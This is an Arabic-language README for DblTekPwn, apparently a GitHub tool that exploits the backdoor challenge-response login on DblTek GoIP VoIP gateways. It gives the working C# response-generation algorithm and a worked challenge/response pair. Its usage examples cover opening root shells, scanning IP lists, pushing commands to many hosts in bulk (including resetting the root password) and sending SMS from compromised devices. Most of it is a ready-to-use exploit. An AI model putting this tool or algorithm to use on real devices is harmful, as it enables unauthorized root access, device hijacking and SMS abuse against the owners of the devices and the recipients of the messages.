
أداة للتحقق مما إذا كان عنوان IP الخاص بـ DblTek GoIP معرضًا للخطر في نظام تسجيل الدخول challenge-response، وإرسال رسائل SMS من النظام، وتنفيذ أوامر عن بعد بأسلوب botnet، وتوليد استجابات للتحديات (challenges).
أداة لاستغلال نظام التحدي والاستجابة في أجهزة DblTek GoIP الضعيفة. يمكنها توليد استجابات لتحديات محددة، واختبار المضيفين لوجود الثغرة، وتنفيذ الأوامر على المضيفين الضعفاء، وإرسال رسائل SMS من مضيف، والدخول إلى شل جذر على أي مضيف ضعيف.
في 2 مارس 2017، نشرت Trustwave ثغرة اكتشفها باحثو أمن في هواتف DblTek GoIP VoIP. كانت الثغرة بابًا خلفيًا في البرامج الثابتة لحساب باسم 'dbladm'. عندما يدخل المستخدم هذا كاسم مستخدم في موجه telnet، يعرض النظام تحديًا يؤدي، عند متابعته بالاستجابة الصحيحة، إلى منح المستخدم شل جذر على النظام.
المشكلة مع نظام التحدي والاستجابة هذا هي أن الأجهزة آمنة بقدر خوارزمية توليد الاستجابات، والتي تم هندستها عكسيًا من ثنائيات البرامج الثابتة التي قدمتها DblTek. باستخدام هذه الخوارزمية، يمكن الحصول على شل جذر على أي جهاز DblTek GoIP.
المقال الأصلي: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
باستخدام وصف الباب الخلفي المقدم في المقال، تمكنت من كتابة ما أعتقد أنه بعض من أول كود استغلال لهذه الثغرة. جوهر هذا هو بالطبع الخوارزمية لتوليد الاستجابة بناءً على تحدي معين. إليك دالة للقيام بذلك مكتوبة بلغة C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
عند تشغيل DblTekPwn بدون وسائط، يتم عرض المساعدة. هذا هو الناتج:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.
[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.
يجعل DblTekGoIPPwn من السهل الحصول على شل جذر على أي نظام ضعيف. ما عليك سوى تشغيل الأمر التالي باستخدام عنوان IP الضعيف.
DblTekPwn.exe --root-shell --name 192.168.1.1
سترى ناتجًا يشبه هذا:
Password: ***********
من هنا يمكنك البدء في إدخال الأوامر (لا يوجد موجه شل).
لنفترض أنك تريد حساب الاستجابة لتحدي GoIP N1746203308. ستقوم بتشغيل الأمر التالي فقط.
DblTekPwn --compute-response N1746203308
سيكون الناتج هو الاستجابة:
d6176d3aab2
لنفترض أنك تريد التحقق من list.txt لعناوين IP للبحث عن GoIPs الضعيفة وإرسال هذا الناتج إلى results.txt. تأكد أولاً من أن عناوين IP بتنسيق ip:port (المنفذ الافتراضي هو 23) وأن عناوين IP مفصولة بسطر جديد \n. يمكن بعد ذلك تشغيل الأمر التالي.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
False أو True بعد المضيف تشير إلى ما إذا كان عنوان IP ضعيفًا أم لا.
لنفترض أن لديك قائمة بالأوامر (وهي في الواقع قائمة من مدخلات telnet) في cmds.txt لإرسالها إلى list.txt لعناوين IP وإرسال الناتج إلى results.txt. تأكد أولاً من أن عناوين IP بتنسيق ip:port (المنفذ الافتراضي هو 23) وأن كلاً من عناوين IP والأوامر مفصولة بسطر جديد \n في ملفاتها الخاصة. يمكن بعد ذلك تشغيل الأمر التالي.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
False أو True بعد المضيف تشير إلى ما إذا كان الاتصال قد تم بنجاح وتم تسليم الأوامر.
يوفر الكود في هذا المستودع على GitHub تجريدًا لإرسال رسائل SMS (نصية) من GoIP مخترق. لاستخدام هذا الكود، قم بتضمين DblTekPwn.exe في تطبيقك وأضف عبارة using التالية.
using DblTekPwn.SMS
الآن في الكود الخاص بك يمكنك استخدام الطريقة الثابتة SmsSender.SendSms. إليك بعض الأمثلة.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
تحتوي معظم أجهزة GoIP على ما يصل إلى 32 بطاقة SIM مدمجة، مما يسمح للمخترق بإرسال رسائل SMS من جميع هذه الخطوط.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);